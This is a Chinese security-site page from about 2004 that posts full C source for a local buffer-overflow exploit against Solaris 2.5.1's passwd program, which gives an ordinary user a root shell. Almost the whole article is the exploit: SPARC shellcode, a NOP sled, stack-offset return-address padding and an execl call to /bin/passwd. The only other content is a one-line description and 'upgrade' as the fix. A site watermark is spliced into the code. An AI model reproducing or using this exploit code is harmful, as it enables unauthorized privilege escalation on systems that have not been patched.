发表文章 返回首页
当前位置: bitsCN.com > 网络攻防 > 安全漏洞 > SunOS >

Solaris2.5.1的本地溢出

时间:2004-04-06 23:55来源:中国网管联盟 作者:BitsCN整理 点击:
涉及程序: Solaris2.5.1 描述: Solaris2.5.1的本地溢出错误允许普通用户获取root 详细: Solaris 2.5.1的本地溢出代码,仅供参考 /* This is for Solaris 2.5.(1) ! With argv[1] you can modify the stack offset (+-500) if you have troubles ... */ #include stdi
   涉及程序:
Solaris2.5.1
 
描述:
Solaris2.5.1的本地溢出错误允许普通用户获取root
 
详细:
Solaris 2.5.1的本地溢出代码,仅供参考

/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH1100
#define EXTRA 1200
#define STACK_OFFSET 3800
#define SPARC_NOP 0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;

u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n"); 中国网管联盟www、bitsCN、com
}

void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;

if(argc > 1) dso=atoi(argv[1]);

long_p =(u_long *) buf;
 targ_addr = get_sp() - STACK_OFFSET - dso;

for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
 *long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for (i = 0; i < code_length; i++)
 *char_p++ = sparc_shellcode[i];

long_p = (u_long *) char_p;


for (i = 0; i < EXTRA / sizeof(u_long); i++)
 *long_p++ =targ_addr;

printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/passwd", "passwd", buf,(char *) 0);
perror("execl failed");
}

 
 
解决方案:
升级
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
发布者资料
admin 查看详细资料 发送留言 加为好友 用户等级:注册会员 注册时间:2008-05-08 23:05 最后登录:2009-01-05 00:01
推荐内容